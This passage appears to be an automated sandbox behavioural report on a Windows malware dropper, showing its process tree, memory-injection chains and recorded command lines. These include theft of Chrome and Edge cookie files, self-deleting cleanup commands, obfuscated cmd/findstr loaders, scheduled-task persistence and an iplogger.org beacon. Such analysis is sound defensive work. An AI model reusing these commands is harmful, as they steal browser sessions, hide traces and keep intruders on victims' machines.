Token: SeChangeNotifyPrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeRemoteShutdownPrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeUndockPrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeSyncAgentPrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeEnableDelegationPrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

pid process

3000
3000
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exe

pid process

3000
4764 MicrosoftEdge.exe
5912 MicrosoftEdgeCP.exe
5912 MicrosoftEdgeCP.exe
Suspicious use of UnmapMainImage 1 IoCs

Processes:

pid process

3000

pid	process
3000
3000

pid	process
3000
4764	MicrosoftEdge.exe
5912	MicrosoftEdgeCP.exe
5912	MicrosoftEdgeCP.exe

pid	process
3000

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

8 (5).exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.exesonia_1.exesonia_6.exesonia_4.exerUNdlL32.eXerundll32.exesvchost.exe

description	pid	process	target process
PID 3716 wrote to memory of 1560	3716	8 (5).exe	setup_installer.exe
PID 3716 wrote to memory of 1560	3716	8 (5).exe	setup_installer.exe
PID 3716 wrote to memory of 1560	3716	8 (5).exe	setup_installer.exe
PID 1560 wrote to memory of 3656	1560	setup_installer.exe	setup_install.exe
PID 1560 wrote to memory of 3656	1560	setup_installer.exe	setup_install.exe
PID 1560 wrote to memory of 3656	1560	setup_installer.exe	setup_install.exe
PID 3656 wrote to memory of 2648	3656	setup_install.exe	cmd.exe
PID 3656 wrote to memory of 2648	3656	setup_install.exe	cmd.exe
PID 3656 wrote to memory of 2648	3656	setup_install.exe	cmd.exe
PID 3656 wrote to memory of 3976	3656	setup_install.exe	cmd.exe
PID 3656 wrote to memory of 3976	3656	setup_install.exe	cmd.exe
PID 3656 wrote to memory of 3976	3656	setup_install.exe	cmd.exe
PID 3656 wrote to memory of 1868	3656	setup_install.exe	cmd.exe
PID 3656 wrote to memory of 1868	3656	setup_install.exe	cmd.exe
PID 3656 wrote to memory of 1868	3656	setup_install.exe	cmd.exe
PID 3656 wrote to memory of 3648	3656	setup_install.exe	cmd.exe
PID 3656 wrote to memory of 3648	3656	setup_install.exe	cmd.exe
PID 3656 wrote to memory of 3648	3656	setup_install.exe	cmd.exe
PID 3656 wrote to memory of 1196	3656	setup_install.exe	cmd.exe
PID 3656 wrote to memory of 1196	3656	setup_install.exe	cmd.exe
PID 3656 wrote to memory of 1196	3656	setup_install.exe	cmd.exe
PID 3656 wrote to memory of 2100	3656	setup_install.exe	cmd.exe
PID 3656 wrote to memory of 2100	3656	setup_install.exe	cmd.exe
PID 3656 wrote to memory of 2100	3656	setup_install.exe	cmd.exe
PID 3656 wrote to memory of 3124	3656	setup_install.exe	cmd.exe
PID 3656 wrote to memory of 3124	3656	setup_install.exe	cmd.exe
PID 3656 wrote to memory of 3124	3656	setup_install.exe	cmd.exe
PID 3648 wrote to memory of 3312	3648	cmd.exe	sonia_4.exe
PID 3648 wrote to memory of 3312	3648	cmd.exe	sonia_4.exe
PID 1868 wrote to memory of 3936	1868	cmd.exe	sonia_3.exe
PID 1868 wrote to memory of 3936	1868	cmd.exe	sonia_3.exe
PID 1868 wrote to memory of 3936	1868	cmd.exe	sonia_3.exe
PID 2648 wrote to memory of 3892	2648	cmd.exe	sonia_1.exe
PID 2648 wrote to memory of 3892	2648	cmd.exe	sonia_1.exe
PID 2648 wrote to memory of 3892	2648	cmd.exe	sonia_1.exe
PID 3976 wrote to memory of 1308	3976	cmd.exe	sonia_2.exe
PID 3976 wrote to memory of 1308	3976	cmd.exe	sonia_2.exe
PID 3976 wrote to memory of 1308	3976	cmd.exe	sonia_2.exe
PID 2100 wrote to memory of 1280	2100	cmd.exe	sonia_6.exe
PID 2100 wrote to memory of 1280	2100	cmd.exe	sonia_6.exe
PID 2100 wrote to memory of 1280	2100	cmd.exe	sonia_6.exe
PID 1196 wrote to memory of 1644	1196	cmd.exe	sonia_5.exe
PID 1196 wrote to memory of 1644	1196	cmd.exe	sonia_5.exe
PID 1196 wrote to memory of 1644	1196	cmd.exe	sonia_5.exe
PID 3892 wrote to memory of 1172	3892	sonia_1.exe	sonia_1.exe
PID 3892 wrote to memory of 1172	3892	sonia_1.exe	sonia_1.exe
PID 3892 wrote to memory of 1172	3892	sonia_1.exe	sonia_1.exe
PID 1280 wrote to memory of 3840	1280	sonia_6.exe	jfiag3g_gg.exe
PID 1280 wrote to memory of 3840	1280	sonia_6.exe	jfiag3g_gg.exe
PID 1280 wrote to memory of 3840	1280	sonia_6.exe	jfiag3g_gg.exe
PID 3312 wrote to memory of 1264	3312	sonia_4.exe	LzmwAqmV.exe
PID 3312 wrote to memory of 1264	3312	sonia_4.exe	LzmwAqmV.exe
PID 3312 wrote to memory of 1264	3312	sonia_4.exe	LzmwAqmV.exe
PID 208 wrote to memory of 1136	208	rUNdlL32.eXe	rundll32.exe
PID 208 wrote to memory of 1136	208	rUNdlL32.eXe	rundll32.exe
PID 208 wrote to memory of 1136	208	rUNdlL32.eXe	rundll32.exe
PID 1136 wrote to memory of 4012	1136	rundll32.exe	svchost.exe
PID 1136 wrote to memory of 2852	1136	rundll32.exe	svchost.exe
PID 4012 wrote to memory of 1296	4012	svchost.exe	svchost.exe
PID 4012 wrote to memory of 1296	4012	svchost.exe	svchost.exe
PID 4012 wrote to memory of 1296	4012	svchost.exe	svchost.exe
PID 1136 wrote to memory of 1000	1136	rundll32.exe	svchost.exe
PID 1136 wrote to memory of 2424	1136	rundll32.exe	svchost.exe
PID 1136 wrote to memory of 2416	1136	rundll32.exe	svchost.exe

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2852

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2628

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
- Modifies registry class
PID:2620

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2424

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2416

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1844

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1412

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1252

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1232

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1080

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
PID:860

C:\Users\Admin\AppData\Roaming\jhhdsse
C:\Users\Admin\AppData\Roaming\jhhdsse
2⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4256

C:\Users\Admin\AppData\Roaming\jhhdsse
C:\Users\Admin\AppData\Roaming\jhhdsse
2⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5200

C:\Users\Admin\AppData\Roaming\jhhdsse
C:\Users\Admin\AppData\Roaming\jhhdsse
2⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4576

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:1000

C:\Users\Admin\AppData\Local\Temp\8 (5).exe
"C:\Users\Admin\AppData\Local\Temp\8 (5).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3716

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1560

C:\Users\Admin\AppData\Local\Temp\7zS8161AC44\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS8161AC44\setup_install.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3656

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_1.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:2648

C:\Users\Admin\AppData\Local\Temp\7zS8161AC44\sonia_1.exe
sonia_1.exe
5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3892

C:\Users\Admin\AppData\Local\Temp\7zS8161AC44\sonia_1.exe
"C:\Users\Admin\AppData\Local\Temp\7zS8161AC44\sonia_1.exe" -a
6⤵
- Executes dropped EXE
PID:1172

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_2.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3976

C:\Users\Admin\AppData\Local\Temp\7zS8161AC44\sonia_2.exe
sonia_2.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1308

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_3.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:1868

C:\Users\Admin\AppData\Local\Temp\7zS8161AC44\sonia_3.exe
sonia_3.exe
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
PID:3936

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im sonia_3.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS8161AC44\sonia_3.exe" & del C:\ProgramData\*.dll & exit
6⤵
PID:3124

C:\Windows\SysWOW64\taskkill.exe
taskkill /im sonia_3.exe /f
7⤵
- Kills process with taskkill
PID:4764

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
7⤵
- Delays execution with timeout.exe
PID:5476

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_4.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3648

C:\Users\Admin\AppData\Local\Temp\7zS8161AC44\sonia_4.exe
sonia_4.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3312

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
6⤵
- Executes dropped EXE
PID:1264

C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
7⤵
- Executes dropped EXE
PID:4156

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
8⤵
PID:4392

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
8⤵
- Executes dropped EXE
PID:4168

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
8⤵
PID:5376

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
8⤵
PID:948

C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
"C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4220

C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe
8⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4916

C:\Users\Admin\AppData\Local\Temp\setup 326.exe
"C:\Users\Admin\AppData\Local\Temp\setup 326.exe"
7⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:4308

C:\Windows\winnetdriv.exe
"C:\Users\Admin\AppData\Local\Temp\setup 326.exe" 1626828695 0
8⤵
- Executes dropped EXE
PID:4660

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
7⤵
- Executes dropped EXE
PID:4628

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4628 -s 804
8⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:4348

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4628 -s 844
8⤵
- Program crash
PID:1576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4628 -s 904
8⤵
- Program crash
PID:3560

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4628 -s 1000
8⤵
- Program crash
PID:1808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4628 -s 996
8⤵
- Program crash
PID:2252

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4628 -s 1064
8⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:3612

C:\Users\Admin\AppData\Local\Temp\zhangd.exe
"C:\Users\Admin\AppData\Local\Temp\zhangd.exe"
7⤵
- Executes dropped EXE
PID:4844

C:\Users\Admin\AppData\Local\Temp\zhangd.exe
"C:\Users\Admin\AppData\Local\Temp\zhangd.exe" -a
8⤵
- Executes dropped EXE
PID:4792

C:\Users\Admin\AppData\Local\Temp\Chrome Update.exe
"C:\Users\Admin\AppData\Local\Temp\Chrome Update.exe"
7⤵
- Executes dropped EXE
PID:4956

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 4956 -s 1000
8⤵
- Program crash
PID:4728

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_5.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:1196

C:\Users\Admin\AppData\Local\Temp\7zS8161AC44\sonia_5.exe
sonia_5.exe
5⤵
- Executes dropped EXE
- Checks computer location settings
PID:1644

C:\Users\Admin\Documents\i_ESSbtjxrSNWDHq3QWVonpi.exe
"C:\Users\Admin\Documents\i_ESSbtjxrSNWDHq3QWVonpi.exe"
6⤵
- Executes dropped EXE
PID:2180

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd < Sorrisi.tmp
7⤵
PID:3956

C:\Windows\SysWOW64\cmd.exe
cmd
8⤵
PID:4124

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^yNFefWPitqXbQXexaaaweTJMeyyzoIKOZcrabptodYbHejNKUaJtRjoktSZpRcZcdpbxUJWpgpLtcwKPaxnPYFWNhRgFpV$" Sapete.tmp
9⤵
PID:5312

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com
Acre.exe.com k
9⤵
- Executes dropped EXE
PID:5712

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k
10⤵
- Executes dropped EXE
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:5816

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\RegAsm.exe
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\RegAsm.exe
11⤵
- Executes dropped EXE
PID:5844

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 30
9⤵
- Runs ping.exe
PID:5740

C:\Users\Admin\Documents\f0ARaYHR2z6j6iBugUAe5dps.exe
"C:\Users\Admin\Documents\f0ARaYHR2z6j6iBugUAe5dps.exe"
6⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:3628

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\EverestSoftrade\TonerRecover\log.bat" "
7⤵
PID:4584

C:\Windows\SysWOW64\explorer.exe
explorer https://iplogger.org/2LBCU6
8⤵
PID:5092

C:\Windows\SysWOW64\regedit.exe
regedit /s adj.reg
8⤵
- Runs .reg file with regedit
PID:5176

C:\Windows\SysWOW64\regedit.exe
regedit /s adj2.reg
8⤵
- Runs .reg file with regedit
PID:4904

C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe
"C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe"
7⤵
- Executes dropped EXE
PID:4708

C:\Users\Admin\Documents\x9NqjD89iPck8mHmczpSqp8K.exe
"C:\Users\Admin\Documents\x9NqjD89iPck8mHmczpSqp8K.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4252

C:\Users\Admin\Documents\x9NqjD89iPck8mHmczpSqp8K.exe
C:\Users\Admin\Documents\x9NqjD89iPck8mHmczpSqp8K.exe
7⤵
- Executes dropped EXE
PID:4828

C:\Users\Admin\Documents\x9NqjD89iPck8mHmczpSqp8K.exe
C:\Users\Admin\Documents\x9NqjD89iPck8mHmczpSqp8K.exe
7⤵
- Executes dropped EXE
PID:4356

C:\Users\Admin\Documents\ei1wnyJ98Qpe8EttYoix2ABa.exe
"C:\Users\Admin\Documents\ei1wnyJ98Qpe8EttYoix2ABa.exe"
6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:4164

C:\Users\Admin\Documents\JFIqHhdh5QBvAWNkvfEKIZrX.exe
"C:\Users\Admin\Documents\JFIqHhdh5QBvAWNkvfEKIZrX.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4804

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im JFIqHhdh5QBvAWNkvfEKIZrX.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\JFIqHhdh5QBvAWNkvfEKIZrX.exe" & del C:\ProgramData\*.dll & exit
7⤵
PID:5972

C:\Windows\SysWOW64\taskkill.exe
taskkill /im JFIqHhdh5QBvAWNkvfEKIZrX.exe /f
8⤵
- Kills process with taskkill
PID:192

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:4520

C:\Users\Admin\Documents\wPhpLQOlC4eDHs1YkjqSpBl9.exe
"C:\Users\Admin\Documents\wPhpLQOlC4eDHs1YkjqSpBl9.exe"
6⤵
- Executes dropped EXE
PID:2096

C:\Users\Admin\Documents\wPhpLQOlC4eDHs1YkjqSpBl9.exe
"C:\Users\Admin\Documents\wPhpLQOlC4eDHs1YkjqSpBl9.exe"
7⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:1540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2096 -s 664
7⤵
- Program crash
PID:5276

C:\Users\Admin\Documents\MzBaN07ocu5mFwtmMys67JBn.exe
"C:\Users\Admin\Documents\MzBaN07ocu5mFwtmMys67JBn.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2592

C:\Users\Admin\Documents\fNWuvqpJ7KpR7mtsH7ZPSJup.exe
"C:\Users\Admin\Documents\fNWuvqpJ7KpR7mtsH7ZPSJup.exe"
6⤵
- Executes dropped EXE
PID:1620

C:\Users\Admin\Documents\fNWuvqpJ7KpR7mtsH7ZPSJup.exe
"C:\Users\Admin\Documents\fNWuvqpJ7KpR7mtsH7ZPSJup.exe" -a
7⤵
- Executes dropped EXE
PID:4984

C:\Users\Admin\Documents\DBpYljoE9RQOVe6dznOKUwU2.exe
"C:\Users\Admin\Documents\DBpYljoE9RQOVe6dznOKUwU2.exe"
6⤵
- Executes dropped EXE
PID:4964

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
- Executes dropped EXE
PID:5584

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
- Executes dropped EXE
PID:5280

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
- Executes dropped EXE
PID:4820

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
- Executes dropped EXE
PID:192

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
PID:5876

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
PID:1536

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
PID:2940

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
7⤵
PID:4116

C:\Users\Admin\Documents\_vuV8Vf8MiqipsbzqFiCvzwB.exe
"C:\Users\Admin\Documents\_vuV8Vf8MiqipsbzqFiCvzwB.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4392

C:\Users\Admin\Documents\_vuV8Vf8MiqipsbzqFiCvzwB.exe
"C:\Users\Admin\Documents\_vuV8Vf8MiqipsbzqFiCvzwB.exe"
7⤵
- Executes dropped EXE
- Checks processor information in registry
PID:2776

C:\Users\Admin\Documents\xCYRAalC9e9K6Ek651aMSpaH.exe
"C:\Users\Admin\Documents\xCYRAalC9e9K6Ek651aMSpaH.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4384

C:\Users\Admin\AppData\Roaming\1234.exe
C:\Users\Admin\AppData\Roaming\1234.exe 1234
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5720

C:\Users\Admin\AppData\Roaming\1234.exe
"{path}"
8⤵
- Executes dropped EXE
PID:5412

C:\Users\Admin\AppData\Local\Temp\srvs.exe
"C:\Users\Admin\AppData\Local\Temp\srvs.exe"
9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5764

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jNEWIvlnVf" /XML "C:\Users\Admin\AppData\Local\Temp\tmpF057.tmp"
10⤵
- Creates scheduled task(s)
PID:2776

C:\Users\Admin\AppData\Local\Temp\srvs.exe
"{path}"
10⤵
PID:5640

C:\Users\Admin\Documents\swHDMb42KGdq3SWECFSsN0bC.exe
"C:\Users\Admin\Documents\swHDMb42KGdq3SWECFSsN0bC.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3928

C:\Users\Admin\Documents\swHDMb42KGdq3SWECFSsN0bC.exe
C:\Users\Admin\Documents\swHDMb42KGdq3SWECFSsN0bC.exe
7⤵
- Executes dropped EXE
PID:5072

C:\Users\Admin\Documents\_vA99Y84IHHY82SdnIh22npT.exe
"C:\Users\Admin\Documents\_vA99Y84IHHY82SdnIh22npT.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4476

C:\Users\Admin\Documents\_vA99Y84IHHY82SdnIh22npT.exe
"C:\Users\Admin\Documents\_vA99Y84IHHY82SdnIh22npT.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4276

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\_vA99Y84IHHY82SdnIh22npT.exe"
8⤵
PID:5964

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
9⤵
- Delays execution with timeout.exe
PID:6056

C:\Users\Admin\Documents\eu8UEzTeNFwIeNwKkDB79cIF.exe
"C:\Users\Admin\Documents\eu8UEzTeNFwIeNwKkDB79cIF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4116

C:\Users\Admin\Documents\eu8UEzTeNFwIeNwKkDB79cIF.exe
C:\Users\Admin\Documents\eu8UEzTeNFwIeNwKkDB79cIF.exe
7⤵
- Executes dropped EXE
PID:4624

C:\Users\Admin\Documents\eu8UEzTeNFwIeNwKkDB79cIF.exe
C:\Users\Admin\Documents\eu8UEzTeNFwIeNwKkDB79cIF.exe
7⤵
- Executes dropped EXE
PID:1324

C:\Users\Admin\Documents\X6VllUHNWXCHAt50NcZmg_aP.exe
"C:\Users\Admin\Documents\X6VllUHNWXCHAt50NcZmg_aP.exe"
6⤵
- Executes dropped EXE
PID:3960

C:\Users\Admin\Documents\2_oAg0msWwCDyFkRYgLpr2nL.exe
"C:\Users\Admin\Documents\2_oAg0msWwCDyFkRYgLpr2nL.exe"
6⤵
- Executes dropped EXE
PID:4560

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd < Bagnava.xltm
7⤵
PID:4600

C:\Windows\SysWOW64\cmd.exe
cmd
8⤵
PID:5140

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^IPAFDLOJiKVQTxFiLgMiLlaMrCAuVnAKdUxdXbtsjyJWSQEpztbDlGmbvNCwlINIlkmYZfphlcUGAvUjYsMQqXmJxXUpUru$" Sia.xltm
9⤵
PID:5300

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Sensitive.exe.com
Sensitive.exe.com p
9⤵
- Executes dropped EXE
PID:5236

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Sensitive.exe.com
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Sensitive.exe.com p
10⤵
- Executes dropped EXE
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:5728

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\RegAsm.exe
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\RegAsm.exe
11⤵
- Executes dropped EXE
PID:6052

C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\RegAsm.exe
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\RegAsm.exe
11⤵
- Executes dropped EXE
PID:744

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 30
9⤵
- Runs ping.exe
PID:5768

C:\Users\Admin\Documents\Fl8ioPrOQu3vYbhTMGgLjtpI.exe
"C:\Users\Admin\Documents\Fl8ioPrOQu3vYbhTMGgLjtpI.exe"
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3884

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
7⤵
PID:6012

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
8⤵
- Kills process with taskkill
PID:5264

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_7.exe
4⤵
PID:3124

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_6.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:2100

C:\Users\Admin\AppData\Local\Temp\7zS8161AC44\sonia_6.exe
sonia_6.exe
5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1280

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
6⤵
- Executes dropped EXE
PID:3840

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
